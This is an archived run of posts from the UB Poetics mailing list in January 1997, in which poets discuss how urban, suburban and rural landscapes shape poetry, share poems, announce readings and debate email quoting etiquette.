Other folks are saying really interesting things, but they seem to think they are addressing my post, & I don't see it that way. Remember I was responding to the Brathwaite comment about how the shape of a landscape might affect the SHAPE of a poet's work..I sort of assume that "shape" here is not something that is synonymous with paraphraseable descriptive subject-matter (necessarily)

The final word on what I MEANT to say (I know I wasn't clear enuff) might be to mention two very different poets who I think of as paradigmatic of the sort of "city poetry" I meant to identify myself with. I think they write out of a late 20th century feel of how consciousness is molded by the urban matrix of social being (which doesn't mean they "talk about" cities): Ron Silliman and Clark Coolidge

Mark P.
Atlanta

↑ Index

622. **maria damon**
Re: Mason Williams
Thu 23 Jan 1997

---

i remember seeing mason williams on the smothers brothers show, playing his piece "classical jazz." also he made some rapidfire collages of political stuff that they showed on the show, which, suburbanite that i am and was, were amazing to me, and i think pretty daring for 60s mainstream tv. i remember him reciting some of his poetry, but i don't remember the poetry per se. whatever happened to him? md

In message <[redacted]> UB Poetics
discussion group writes:
> i know there was much chatter about Miller Williams this past week,
>
> but was there also talk recently of Mason Williams? can someone please
> refresh my memory, or clue me in.
>
> picked up his "FLAVORS" in a used book store the other day, and was amazed.
>
> thanks
>
> bill marsh
>

↑ Index

623. **Jay Schwartz**
Re: Landscapes, poetry etc.
Thu 23 Jan 1997

In 1994 I lived in a suburb of Boulder, Colorado called Gunbarrel. Having been raised in the suburbs of Los Angeles and finding myself once again in a

suburban territory, I consciously attempted to devise an aesthetic that could articulate my experience of this post-industrial suburban landscape. The experience taught me a lot about expression and the context of artistic production. The project- "Deaf Child Area" ended up incorporating found paper into the text - the handmade books were literally photocopied on top of paper and plastic I found in the dumpsters of local greeting card factories, software firms, etc.

In terms of these two theses, I don't understand what is meant by "aestheticize"- it implies some kind of reduction, along with the denegration. Both theses rely on negating, exclusive impulses. I look at Reznikoff's urban descriptions and find only opening to all kinds of perception, no dismissal. Perhaps the most interesting discovery in burrowing through exurban/suburban material for me is that these economic forces aren't dominant, are unstable, mulitudinous economic/aesthetic scenarios. I just had to look a little harder, at 3 AM in Safeway, Burger King at closing time, the empty parking lot at dusk with the sound of bagpipes, the toxic joys of day old pastries and Pespi.

↑ Index

624. Miekal And
rural artifice
Thu 23 Jan 1997

[redacted] wrote:
>
> Professor Rochambeau,
>
> The Board of Deans, et al, suggests you take an immediate sabbatical in the
> rural environment of Screamtime Village and ease the traffic flow (suburban,
> etc.) making inroads on your imagination.

If you do come, make sure you come for one of our monthly full moon drifts (read deriv□) thru the uninterrupted unglaciated topography & we'll howl at the moon. They don't call it Screamtime Village fer nuttin.

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625. maria damon
Re: Apples, oranges & form
Thu 23 Jan 1997

---

mark prejsnar writes:
>
> Other folks are saying really interesting things, but they seem to think
> they are addressing my post, & I don't see it that way. ...

that's sort of the way POETIX works --many threads come into being tangentially and take on a substance and trajectory of their own. that's part of the non-linear, pleasantly desultory nature of these discussions, some of which will appear focused, some diffuse and digressive. welcome

↑ Index

626. **Jordan Davis**
Re: your mail
Thu 23 Jan 1997

Didn't Jane Bowles write about Perth Amboy in _Two Serious Ladies_? JD

On Thu, 23 Jan 1997, Mark Weiss wrote:

> *I think middle-class suburbia has lots of poets, but probably few of us on the list read them. They fill the establishment journals.*
>
> *There is another kind of suburbia, and it's everywhere. There's Berkeley, but there's also Richmond (is Oakland still a suburb), and there's Scarsdale, but there's also Perth Amboy. I may be the only poet who's written about Perth Amboy.*

↑ Index

627. **Jordan Davis**
suburban practice, urban subject
Thu 23 Jan 1997

In which case the suburbs would be the remote, the control --

And the city would be the programming --

which is totally neglected at this point, except in the good ol Bretonian sense of love that decay

which I don't --

though I did love coming across a half-exposed Fleischmann's (sp?) ad at the 34th st N/R/Path stop the other day, guy in sunday sailor outfit, early 60s Jackiesque lady looking on -- set on a yacht at an urban pier --

can you live at home as if in a foreign city --

JD

↑ Index

628. **DS**
Re: Landscapes, poetry etc.
Thu 23 Jan 1997

Or Melville's 'Tartarus of Maids'

dan

> *good heavens, why this singular fixation on Whitman? now that i think on it, carl sandburg went on at great length about Chicago (though i'm not sure if he did so before whitman) and certainly edward arlington robinson's tillbury town, and master's spoon river anthology series get in their swipes at ragged dry industrial landscapes...*
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> *i am wearing not black, which is unusual, but a sort of slatey blue pair of leggings, shiny black boots, slatey blue socks, and a french hand-knit turtleneck sweater in patchworked shades of dusty green and blue (a gift). normally i would be upholding the tradition in black.*
> *e*

↑ Index

629. **henry gould**
Re: Landscapes, poetry etc.
Thu 23 Jan 1997

Not to mention Jack Spandrift's

BRIEF LAMENT OF THE DISORIENTED COWPOKE (w/twang plus uke)

Them lights! that blaze til dawn above the lonesome skyscrapers,
Aw man - I think my eyes are lonesome too -
For five or six lil twinklers, far apart,
& sky so peaceful
That
I won' have to read about it in
The papers...

- AVAILABLE ON CD from CowboyDust CD Supply Store, Red Flag Wyo. (call for message service - he only drops by at the end of the cattle drive)

↑ Index

630. **Michael Coffey**

Apples, oranges & form -Reply

Thu 23 Jan 1997

mark p wrote: "The final word on what I MEANT to say (I know I wasn't clear enuff) might be to mention two very different poets who I think of as paradigmatic of the sort of "city poetry" I meant to identify myself with. I think they write out of a late 20th century feel of how consciousness etc"

one thing i have noticed over the years, in which i have lived mostly in new york city though having been reared in a very small town in the adirondacks, might have less to do with landscape than the way particular landscapes are peopled. For example, in a new book of poems i have coming from Coffee House Press, I found that it was structured as an opposition between a kind of text that was generated from a city experience and another that was generated by a revisiting (and remembering) a rural community; and the differences in the style and form and tone were quite distinct. The "city poems," if you will, have a nervous and discontinuous flux, with a kind of energy seeking some isometry, some stabilty, but constantly foiled; whereas the upstate, North Country poems have a more meditative, observant mood, in which the poems find certain connections, discover them at times, by accident.

This was a source of amazement to me as i put the book together. It was not premeditated, since I simply began by going through compositions of the last two years and found these jangly, impersonal, somewhat abstracted poems written here in New York City and these more pastoral ones and personal ones written while visiting my mother and old friends up in the mountains.

It is borne out, however, by my experiences with those places, and I think a small-town community carries within it kinds of relations that a city environment does not. These kinds of relations between people, where everyone either knows everyone or knows someone who was related to someone tends to enforce (sometimes not successfully, sure) a civility that is not found so often in a city, where the folks one deals with day to day live in a kind of anonymity from one another and from you. As an example, two, really: when my father passed away, in the town he grew up in, i took my mother around to the various places one has to go to in the aftermath of a death: the knights of columbus, where he had a life insurance policy; the motor vehicle bureau, to amend car deeds, the social security office, etc. Every person my mother, in her grief, had to deal with either knew her or my father or was a friend of mine, and pleasantries were inevitably exchanged and the otherwise difficult process of taking care of such details was made warm and human. I can only imagine how such a trek from place to place would go in new york city, with total strangers.

And secondly, once when i was visiting upstate, I read in the local paper how a teenage boy driving a truck was drunk and ran through a flashing red light at a rural intersection at about six in the morning, speeding home after a night of drink, only to be blindsided by another truck, driven by his uncle. The boy died. It just shows you how even random accidents are likely to involve someone you know.

I think the consequences of these differences are very pronounced when it comes to narrative styles, or should be, but it certainly, for me, extends to poetry as well.

This is surely why I got away from the small town life and why I will probably return.

two samples, one from each side of the book, which is to be called 87 North, after the state highway that runs from NYC upstate, all the way to canada

Rhythming, what was it?
Monk's thing:
"Rhythm-a-ning," at the Five Spot.
1958. Roy Haynes on drums
Johnny Griffin on tenor sax
Ahmed Abdul-Malik
on bass, nineteen
and fifty-eight.

No hepcat shit. No more.
Baldwin called Brando
a beautiful cat, then, when.

Monk on piano.
That's that.

Adirondack Sounds

I put the words in his mouth?
this image of myself,
my son at three years old.
I say to him

Cadyville, Saranac, Schuyler Falls.
Dannemora, Redford, Beekmantown.
Chazy Lake, pronounced chez Zee.
And he says them back to me,

eyes big, his tongue clumsy and sweet,
saying the names of towns of my youth.

I?m far from them now,
these syllables holding mysteries
of places people came to,
of how things were then.

I knew my own, Saranac,
without curiosity.
It was like my name.
But Cadyville was where the girls lived,

Schuyler Falls a forest cleared for playing ball,
Dannemora a prison town with tall, tough Irish,
Chazy just a cold, cold lake.

The places are on a map
I never need to study,
just hamlets to drive through.
The people that built them,

the sites there, now gone,
yielded to spells of indifferent offspring,
to places fallen down.
Still, Beekmantown

in my boy?s mouth
is a clear parcel of fields
farmed for stone and apples,
Redford the soft fold of our church.

He repeats them to me
as I ask, happy at the drill,
expecting something for his effort.
I give him my confused joy.

I say to him ?paradise,?
and hear the pure word.

↑ Index

631. **Mark Weiss**

Re: your mail

Thu 23 Jan 1997

I may be the only other ooet who's written about Perth Amboy.

At 03:13 PM 1/23/97 -0500, you wrote:
>Didn't Jane Bowles write about Perth Amboy in _Two Serious Ladies_?
>JD

>
>On Thu, 23 Jan 1997, Mark Weiss wrote:
>
>> I think middle-class suburbia has lots of poets, but probably few of us on
>> the list read them. They fill the establishment journals.
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>> There is another kind of suburbia, and it's everywhere. There's Berkeley,
>> but there's also Richmond (is Oakland still a suburb), and there's
>> Scarsdale, but there's also Perth Amboy. I may be the only poet who's
>> written about Perth Amboy.
>>
>
>

↑ Index

632. **Mark Prejsnar**
more citification
Thu 23 Jan 1997

Michael C.--
Thanks for that thoughtful post...
I don't think my work tends to be as immediately responsive to where I am as that...

Oddly enough, I just picked up (2 hours before your post??) Elemenopy; & have started reading it for the first time--I love it. A certain range between more placid & more "jangley" there, too, I feel.

Not surprisingly, I seem to like best things that jangle..

Mark P.
Atlanta

↑ Index

633. **Mark Weiss**
Re: Apples, oranges & form -Reply
Thu 23 Jan 1997

Let me suggest that those of us raised in cities sometimes write thoughtful, quiet, nostalgic poems about the old neighborhood. I even have one with my kid as recipient of lore. He grew up in the city, but it was a different neighborhood--and my old neighborhood was a different neighborhood, too. And sometimes us homeboys also write poems jumpy with discovery about rural places.

It may be the condition of the poet's life as well as some inherent geist that informs the rhythm of the poems.

At 04:14 PM 1/23/97 -0500, you wrote:
>mark p wrote:
>"The final word on what I MEANT to say (I know I wasn't clear enuff)
>might be to mention two very different poets who I think of as
>paradigmatic of the sort of "city poetry" I meant to identify myself with. I
>think they write out of a late 20th century feel of how consciousness
>etc"
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>one thing i have noticed over the years, in which i have lived mostly in
>new york city though having been reared in a very small town in the
>adirondacks, might have less to do with landscape than the way
>particular landscapes are peopled. For example, in a new book of
>poems i have coming from Coffee House Press, I found that it was
>structured as an opposition between a kind of text that was generated
>from a city experience and another that was generated by a revisiting
>(and remembering) a rural community; and the differences in the style
>and form and tone were quite distinct. The "city poems," if you will, have
>a nervous and discontinuous flux, with a kind of energy seeking some
>isometry, some stabilty, but constantly foiled; whereas the upstate, North
>Country poems have a more meditative, observant mood, in which the
>poems find certain connections, discover them at times, by accident.
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>not premeditated, since I simply began by going through compositions of
>the last two years and found these jangly, impersonal, somewhat
>abstracted poems written here in New York City and these more pastoral
>ones and personal ones written while visiting my mother and old friends
>up in the mountains.
>
>It is borne out, however, by my experiences with those places, and I
>think a small-town community carries within it kinds of relations that a city
>environment does not. These kinds of relations between people, where
>everyone either knows everyone or knows someone who was related
>to someone tends to enforce (sometimes not successfully, sure) a
>civility that is not found so often in a city, where the folks one deals with
>day to day live in a kind of anonymity from one another and from you.
> As an example, two, really: when my father passed away, in the town
>he grew up in, i took my mother around to the various places one has to
>go to in the aftermath of a death: the knights of columbus, where he had

>a life insurance policy; the motor vehicle bureau, to amend car deeds, the
>social security office, etc. Every person my mother, in her grief, had to
>deal with either knew her or my father or was a friend of mine, and
>pleasantries were inevitably exchanged and the otherwise difficult
>process of taking care of such details was made warm and human. I
>can only imagine how such a trek from place to place would go in new
>york city, with total strangers.
>
>
> And secondly, once when i was visiting upstate, I read in the local
>paper how a teenage boy driving a truck was drunk and ran through a
>flashing red light at a rural intersection at about six in the morning,
>speeding home after a night of drink, only to be blindsided by another
>truck, driven by his uncle. The boy died. It just shows you how even
>random accidents are likely to involve someone you know.
>
>I think the consequences of these differences are very pronounced
>when it comes to narrative styles, or should be, but it certainly, for me,
>extends to poetry as well.
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>This is surely why I got away from the small town life and why I will
>probably return.
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>two samples, one from each side of the book, which is to be called 87
>North, after the state highway that runs from NYC upstate, all the way to
>canada
>
>Rhythming, what was it?
>Monk's thing:
>"Rhythm-a-ning," at the Five Spot.
>1958. Roy Haynes on drums
>Johnny Griffin on tenor sax
>Ahmed Abdul-Malik
>on bass, nineteen
>and fifty-eight.
>
>No hepcat shit. No more.
>Baldwin called Brando
>a beautiful cat, then, when.
>
>Monk on piano.
>That's that.

>
>
>
>Adirondack Sounds
>
>
>I put the words in his mouth?
>this image of myself,
>my son at three years old.
>I say to him
>
>Cadyville, Saranac, Schuyler Falls.
>Dannemora, Redford, Beekmantown.
>Chazy Lake, pronounced chez Zee.
>And he says them back to me,
>
>eyes big, his tongue clumsy and sweet,
>saying the names of towns of my youth.
>
>I?m far from them now,
>these syllables holding mysteries
>of places people came to,
>of how things were then.
>
>I knew my own, Saranac,
>without curiosity.
>It was like my name.
>But Cadyville was where the girls lived,
>
>Schuyler Falls a forest cleared for playing ball,
>Dannemora a prison town with tall, tough Irish,
>Chazy just a cold, cold lake.
>
>The places are on a map
>I never need to study,
>just hamlets to drive through.
>The people that built them,
>
>the sites there, now gone,
>yielded to spells of indifferent offspring,
>to places fallen down.
>Still, Beekmantown

>
>in my boy?s mouth
>is a clear parcel of fields
>farmed for stone and apples,
>Redford the soft fold of our church.
>
>He repeats them to me
>as I ask, happy at the drill,
>expecting something for his effort.
>I give him my confused joy.
>
>I say to him ?paradise,?
>and hear the pure word.
>
>

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634. **Pritchett,Pat**

Re: Apples, oranges & form -Reply

Thu 23 Jan 1997

When we're talking about landscape & poetry aren't we really talking about "the dialectics of inside/outside," as Bachelard put it? With the poem as the form of mediation between these two? Seems to me "landscape" is simply a figure of speech designating the way we perceive/appropriate experience.

Is this what you were getting at, Mark Presjnar (sic)?

Patrick Pritchett

From: Mark Weiss
To: POETICS
Subject: Re: Apples, oranges & form -Reply
Date: Thursday, January 23, 1997 5:11PM

Let me suggest that those of us raised in cities sometimes write thoughtful, quiet, nostalgic poems about the old neighborhood. I even have one with my kid as recipient of lore. He grew up in the city, but it was a different neighborhood--and my old neighborhood was a different neighborhood, too. And sometimes us homeboys also write poems jumpy with discovery about rural places.

It may be the condition of the poet's life as well as some inherent geist that informs the rhythm of the poems.

At 04:14 PM 1/23/97 -0500, you wrote:
>mark p wrote:
>"The final word on what I MEANT to say (I know I wasn't clear enuff)
>might be to mention two very different poets who I think of as
>paradigmatic of the sort of "city poetry" I meant to identify myself with.
I
>think they write out of a late 20th century feel of how consciousness
>etc"
>
>one thing i have noticed over the years, in which i have lived mostly in
>new york city though having been reared in a very small town in the
>adirondacks, might have less to do with landscape than the way
>particular landscapes are peopled. For example, in a new book of
>poems i have coming from Coffee House Press, I found that it was
>structured as an opposition between a kind of text that was generated
>from a city experience and another that was generated by a revisiting
>(and remembering) a rural community; and the differences in the style
>and form and tone were quite distinct. The "city poems," if you will, have
>a nervous and discontinuous flux, with a kind of energy seeking some
>isometry, some stabilty, but constantly foiled; whereas the upstate, North
>Country poems have a more meditative, observant mood, in which the
>poems find certain connections, discover them at times, by accident.
>
>This was a source of amazement to me as i put the book together. It was
>not premeditated, since I simply began by going through compositions of
>the last two years and found these jangly, impersonal, somewhat
>abstracted poems written here in New York City and these more pastoral
>ones and personal ones written while visiting my mother and old friends
>up in the mountains.
>
>It is borne out, however, by my experiences with those places, and I
>think a small-town community carries within it kinds of relations that a
city
>environment does not. These kinds of relations between people, where
>everyone either knows everyone or knows someone who was related
>to someone tends to enforce (sometimes not successfully, sure) a
>civility that is not found so often in a city, where the folks one deals
with
>day to day live in a kind of anonymity from one another and from you.
> As an example, two, really: when my father passed away, in the town
>he grew up in, i took my mother around to the various places one has to
>go to in the aftermath of a death: the knights of columbus, where he had

>a life insurance policy; the motor vehicle bureau, to amend car deeds, the
>social security office, etc. Every person my mother, in her grief, had to
>deal with either knew her or my father or was a friend of mine, and
>pleasantries were inevitably exchanged and the otherwise difficult
>process of taking care of such details was made warm and human. I
>can only imagine how such a trek from place to place would go in new
>york city, with total strangers.
>
>
> And secondly, once when i was visiting upstate, I read in the local
>paper how a teenage boy driving a truck was drunk and ran through a
>flashing red light at a rural intersection at about six in the morning,
>speeding home after a night of drink, only to be blindsided by another
>truck, driven by his uncle. The boy died. It just shows you how even
>random accidents are likely to involve someone you know.
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>I say to him ?paradise,?
>and hear the pure word.
>
>

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635. **Aldon L. Nielsen**
Re: further on a certain A. Philip
Thu 23 Jan 1997

The bio. I'm currently reading is Jervis Anderson's _A. Philip Randolph: A Biographical Portrait_, now much dated (Randolph was still alive when Anderson wrote it) --

My particular interest at this point has been Randolph's contacts, mostly via _The Messenger_, with writers such as George Schuyler, Wallace Thruman, Theophilus Lewis etc. -- Philip's mag. was an integral part of the Harlem Renaissance publishing explosion, but, of course, took quite a different position from Du Bois's _Crisis_ or _Opportunity_ over at the Urban League -- also reading this for my other projects -- tracking history of "Left" writing by African-Americans for context in my work on C.L.R. James in America --

Anderson's book is really informative, but I know a lot more info has been developed since '73, when he published it -- One of the early contributing editors was Ernest Rice McKinney, with whom James had many battles in the next decade inside the American Trotskyite movement --

After Claude McKay's "If We Must Die" appeared in Max Eastman's _Liberator_, it was immediately reprinted uptown in Randolph's _Messenger_ as well as in Cyril Briggs's yet more radical _Crusader_ --

anybody know of a more recent bio.?

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636. **Laura Moriarty**
NEW RELEASE
Thu 23 Jan 1997

I thought this might interest the list.

Laura Moriarty

> *Date: Thu, 23 Jan 1997 14:08:02 -0800*
> *Reply-To:* [redacted]
> *Originator:* [redacted]
> *Sender:* [redacted]
> *Precedence: bulk*
> *From:* [redacted]
> *To: Multiple recipients of list <*[redacted]*>*
> *Subject: NEW RELEASE*
>
> **ANNOUNCING NEW LITERATURE RELEASE FROM THE CINEMA GUILD**
>
> *THE BEATS: AN EXISTENTIAL COMEDY*
> *Focusing on the beat poetry scene of the late Fifties, this video is not a conventional documentary but a film poem which celebrates a colorful generation of American artists. During the Eisenhower Administration and the scourge of McCarthyism, a stultifying cultural period in America, a movement of self-styled free spirits, centered in Venice, California, but which spread to San Francisco's North Beach and New York's Greenwich Village, united by their dedication to art and social nonconformity, spawned an artistic movement with a rich literary legacy. The film features such poets as Stuart Perkoff, Aya, Jack Hirschman, Lawrence Ferlinghetti, and Allen Ginsberg, who read their poems and discuss what it means to be a poet in America. The Beats, which also features other celebrities of the era such as filmmaker Shirley Clarke, Warhol superstar Viva and performer Taylor Mead, complemented by a jazz score by Si Perkoff, movingly re-creates the spirit of the beat era.*
> *Directed by Philomene Long*
> *1980, black and white, 60 mins., video*
> *Purchase: $79.95*
> *"a gem of a movie that captures the magic of the beat generation and their continuing legacy". - The Los Angeles Times*
>
> *AVAILABLE FROM:*
> *The Cinema Guild*
> *1697 Broadway, Suite 506*
> *New York, NY 10019*
> [redacted]*(phone)* [redacted]*(fax)*
> *e-mail:* [redacted]
> *website: http://www.cinemguild.com/cinemaguild (features our complete*

> *catalog)*
>
> *INQUIRE ABOUT OUR LITERATURE CATALOG.*

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637. **maria damon**

Re: further on a certain A. Philip

Thu 23 Jan 1997

---

the book i'm reading was published in 1977 and reprinted in 1991. i''m sure there's been more since then but i don't know of it. has robin kelley written anything on him, or is kelley's domain exclusively the south?

In message <[redacted]> UB Poetics
discussion group writes:
> The bio. I'm currently reading is Jervis Anderson's _A. Philip Randolph:
> A Biographical Portrait_, now much dated (Randolph was still alive when
> Anderson wrote it) --
>
> My particular interest at this point has been Randolph's contacts, mostly
> via _The Messenger_, with writers such as George Schuyler, Wallace
> Thruman, Theophilus Lewis etc. -- Philip's mag. was an integral part of
> the Harlem Renaissance publishing explosion, but, of course, took quite a
> different position from Du Bois's _Crisis_ or _Opportunity_ over at the
> Urban League -- also reading this for my other projects -- tracking
> history of "Left" writing by African-Americans for context in my work on
> C.L.R. James in America --
>
> Anderson's book is really informative, but I know a lot more info has
> been developed since '73, when he published it --
> One of the early contributing editors was Ernest Rice McKinney, with whom
> James had many battles in the next decade inside the American Trotskyite
> movement --
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> After Claude McKay's "If We Must Die" appeared in Max Eastman's
> _Liberator_, it was immediately reprinted uptown in Randolph's
> _Messenger_ as well as in Cyril Briggs's yet more radical _Crusader_ --
>
>
> anybody know of a more recent bio.?
>

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638. **Henry Gould**
Re: Apples, oranges & form -Reply
Thu 23 Jan 1997

Thanks Michael Coffey for city/country messages. Here's a poem about being in a small town (Norwich, CT - by the "Thames"), & going to a big town (London, by the "Thames"), and size not making any difference - because we inhabit "la citta qui Cristo e Romano" (or however it goes).

28

near Norwich, by the Thames

Trees merge with the darkness coral, camouflaged
above the river, quiet, smooth and ceaseless.
Hidden by nightfall, stars, arranged
in the heavens, drift reflected there.

You tugged your sweater close around your dress
& let me wrap an arm across your shoulder as
the last of summer pulled us both downstream,
so adamant, so casual, unvarying, and calm.

Those fingers lifted to my shivering lips
were hidden in the darkness too & now
my heartbeat mimics you
& stained with all this darkness, steps
toward some anonymous London afterlife,
incognito (the ache of universal grief).

- Henry Gould (forthcoming this spring (with 98 other sonnet/"sonnets") @ _Mudlark_ http://www.unf.edu/mudlark)

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639. **maria damon**
WINTER READING SERIES: "ALTERNATIVE" VERBAL ARTS!!
Thu 23 Jan 1997

Dear All: please pass this information on to anyone you feel might be interested, esp. large groups of writers, artists, students and faculty throughout the twin cities area.

WRITERS__READING__

> This winter, several writers will be visiting the English Department in 207A Lind Hall to read from, perform, or demonstrate their their work. They are:

MIEKAL AND (Wednesday, February 5, 3:15 PM)

is a the co-founder of Xexoxial Endarchy, a non-profit artist-run multi-arts organization that includes Xexoxial Editions, publisher of experimental visual/verbal literature; Audio Muzixa Qet, an audio/video cassette label; Autoceptor Experimedia, specializing in interactive hypermedia for Macintosh computer. As poet, composer, hypermedia and performance artist, he is the author of many volumes, including _Strategy for Wracking Hylic_, _The Missing Text of the Lost Tower_, and _Babbally_; as anarchist communard and permaculture explorer, he is the co-founder of Dreamtime Village in West Lima, Wisconsin.

MARK NOWAK (Wednesday, February 12, 3:30 PM)

is a poet who teaches Humanities at the College of St Catherine. He edits _Cross-Cultural Poetics_ and the annual _North American Ideophonics_. His book _The Pain-Dance Begins_ is forthcoming from Heat Press.

CAROLYN ERLER (also February 12, 3:30 PM)

is a textile artist and novelist. She has taught at MCAD and the College of St Catherine.

JONATHAN BRANNEN (Wednesday, February 19, 3:15 PM)

is the author of the poetry collections _The Glass Man Left Waltzing_ (Meow Press, 1996), _Thing Is The Anagram For Night_ (Texture Press, 1996), and _nothing doing ever again_ (Score Press, 1995). His short stories have appeared in Asylum Annual, Black Ice, Central Park, Fiction International and elsewhere. He currently lives in Morris, Minnesota where he publishes Standing Stones Press.

ERIK BELGUM (Wednesday, February 26, 3:15 PM)

is the author of _Star Fiction_ (Detour Press, 1996) and _The Man Who Could Talk_ (forthcoming). His work has been performed at the Walker Art Center, the Banff Centre for the Arts, and as a part of the series New Music Across America. He co-edits the audio-journal _Voys_.

GARY SULLIVAN (Wednesday, March 5, 3:15 PM)

is the co-editor of Detour Press and author of _Dead Man_ (Meow Press, 1996).

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640. **maria damon**

Re: WINTER READING SERIES: "ALTERNATIVE" VERBAL ARTS!!

Thu 23 Jan 1997

---

amendment, with address:

In message "maria damon" writes: Dear All: please pass this information on to anyone you feel might be interested, esp. large groups of writers, artists, students and faculty throughout the twin cities area.

WRITERS__READING__

This winter, several writers will be visiting the University of Minnesota's English Department in 207A Lind Hall, 207 Church St SE (West Bank) to read from, perform, or demonstrate their work. They are:

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641. **Franklin Bruno**
Re: Pepsi-Cola
Fri 24 Jan 1997

Brian Carpenter wrote:

>This reminds me of an advertising shennanigan that occurred in China a
>number of years ago. Some American company selling some carbonated
>beverage (I don't recall whom) advertised their product on billboards with
>the slogan "Brings you back to life!"
>
>Punchline is, this slogan was translated as "Brings your relatives back
>from the dead!"
>
I never knew where it was from 'til now, but this line shows up in the song "Come Alive" (1981) by the excellent British group Magazine:

"An asteroid kicked up the dust the dinosaur stubbornly bit
Man's brain was taken, the cortex stuck at an awkward angle on it
His first words were:
'What have I done to deserve the sun?
What have I done to deserve the rain?'
Pepsi-Cola, Pepsi-Cola brings your ancestors back from the grave"

Which also tells us which company it was. Magazine's Howard Devoto (who was also in the Buzzcocks early on) is, by the way, one of the 'rock' lyricists whose work repays attention. Nick Currie (a.k.a. Momus), John Davis, and The Silver Jews' David Berman also pop to mind, in addition to some folks that have been mentioned on this list previously.

UNRELATED MATTER:

Is there any chance that more list-members could make an effort not to quote -all- of a long message that they're responding to, for the sake of those of us who receive it in digest form. Just repeat enough for context, maybe? (Though of course we know that meanings accrete with each iteration.)

fjb

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642. **William Northcutt**
Rezni's Holocaust
Fri 24 Jan 1997

Do any of you know whether Rez's Holocaust is still in print? I know, I could look in Books in Print, but then, I'd have to wonder over to the library, and then I'd have to lift my fingers to turn the pages, not to mention that I'd have to actually pull BIP out of the shelves...

William

_____
[redacted]

William Northcutt
Anglistik
Universitaet Bayreuth
95440 Bayreuth, Germany

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643. **Susan Wheeler**
Brathwaite/shape
Fri 24 Jan 1997

>To: poetics
>From: [redacted] (Susan Wheeler)
>Subject: Brathwaite/shape
>Cc:
>Bcc:
>X-Attachments:
>
>In response to Mark Weiss's (sorry, I've lost his text with the Digest entry): First off, had it been an isolated conversation with Brathwaite I'd take it as casual or believe I remembered it wrong, but it was fairly elaborated, and I had several conversations with him about this. Secondly,

the "shape" of a poem was not limited to line-lengths. I understood this to mean in part his video-style (islands of fonts), clearly, but also ideas about a mix of voices and the very structures of what he terms his "nation language." And the idea was not limited to the idea of the archipelago in his understanding of Caribbean poetry, but also to the immediate landscape of individual islands, its "development," the relationship to ocean/sky, etc. I would be reluctant to fault the idea for its associative rather than logical links, and thought it might be an interesting counterpart to John Kinsella's wholly different thinking on the "pastoral."
>
>Although as far as I know Kamau has not written about this theory in a theoretical way (not in Roots; does anyone know his history of Caribbean poetry?), it did bubble under portions of The Barabajan Poems, it seems to me, which he was working on at about the same time that our conversations took place. From "my island" section, without the typographic dimension (apologies):
>
> 5
> This at least was a. this at last was a. start: when God set out to create the islands of th
> (e) Caribbean, he skidded a duck-&-drakes stone from Barbados (let's say) north through
> Grenada, St Vincent, St Lucia, Dominica, & on through the Leewards, Antigua, Barbuda,
> Anguilla & . . curving as the stone we skidded curves . . Puerto Rico hiss hiss Hispaniola
> . Dominica & Haiti . Cuba . Caymanas & Cat & Guanahani...
>
> But that was only the visible part. When God created the islands of the Caribbean, he al-
> so did so with music; he must have! with sound: the noise that he heard that gave cre -
> ation shape. Again, was it Milton's? or Lowell's Nantucket? Beethoven's Fifth Trump?
> Dvorak's New World? Peter Tosh/In the Beginning? Gustav Holtz' Plan-ets?
>
> And then I saw or rather heard it: the pebbles of the pan, the plangent syllables of blue,
> the on-rolling syncopation, the rhythmic tidalectics: and it was the islands' own sound,
> not taken or borrowed from no where else or if borrowed borrowed so

creatively it
> becomes our own: & the irksome wonder / why so long? why did it take so long, take me
> so long to come to this so natural so obvious so beautiful so easily our own:
>
> the kaiso
>
> So that when God created Caribbean, he took a pebble, skidded it along the water w/ a
> sound of our own & this is how it went: his archepelago: my vision: yr poem
>
>
>I got carried away, but perhaps this helps.
>Susan Wheeler
>
>
Susan Wheeler
[redacted]

37 Washington Square West #10A
New York, New York 10011
[redacted] phone/fax

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644. henry gould
la citta - correction
Fri 24 Jan 1997

Don't have Divine Comedy handy - & if I did probably couldn't find it - (maybe somebody can help) but I think the line is closer to:

nel Roma qui Cristo e Romano - "in that Rome where Christ is Roman" (i.e., the heavenly city).
- HG

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645. Michael Boughn
Re: Dorn
Fri 24 Jan 1997

William Northcutt, I tried replying to your question yesterday, but the post seems to have been swallowed in e-space or otherwise bushwhacked.

Anyway, yes, there was a somewhat contentious discussion of Dorn on this list in Decmeber 1995. It was initiated by Ron Silliman's comments and went on for a couple of weeks.

Best,
Mike
[redacted]

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646. Tom Mandel
Marty Ehrlich
Fri 24 Jan 1997

I remember well meeting Marty at Susan's opening last saturday after my reading at the Ear, and seeing Erica too -- for the first time in 5 or more years.

N'yorkers should get to Granary Books at 568 Broadway across the street from the downtown Duddenheim museum -- Susan's book is wonderful.

Tom

Screen Porch
****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

↑ Index

647. Tom Mandel
City 'n 'burbia
Fri 24 Jan 1997

Well, on this very list the other day someone mentioned Ashbery/Schuyler's collaborative novel _A Nest of Ninnies_ -- a poem of suburbia you bet.

Tom

Screen Porch
****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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648. **Tom Mandel**
a modest proposal
Fri 24 Jan 1997

Lots of messages on this listserv are created with the "Reply" function of a piece of mail software. Result often is copying into one's message the message to which one is replying. This can mean multiple copies of sometimes very long posts are are in the mail received from the listserv daily. IMHO this clogs the pipes, both digitally and mentally

Sometimes I guess it's helpful to have the stimulus with the response -- though the message title can fulfil that function most of the time. Certainly it's sometimes useful to quote *a part* of the message -- specifically that to which one is replying. Most of the time what I see is someone wants to add an opinion, and to it is appended a long post, sometimes more than one, as this can easily nest multiple messages and replies. Actually makes it hard to focus on the new stuff.

Something to think about in creating your posts to Poetics.

Tom

Screen Porch
****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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649. **Mark Prejsnar**
Re: Apples, oranges & form -Reply
Fri 24 Jan 1997

Actually I agree with Mark Weiss--yet another instance of me not conveying what I wanted to say! Yes, I never intended to suggest some kind of poetic determinism. I definitely write the way I do because I choose to....I happen to associate it, in my own mind, with conditions I would call those of the dissociated late capitalist city...But determinism, no, that very definitely is not going on, for any of us. If I thought it was all determined for me before I went thru any work & development, I'd hardly want to bother...

Mark Prejsnar

↑ Index

650. **Mark Prejsnar**
Re: Apples, oranges & form -Reply
Fri 24 Jan 1997

Patrick---

Yes, I think that's a very good point...Still, it has to do in part with something more involved than inside/outside; but I see your point, and that's one component of the range of frames that we're talking about, I think...

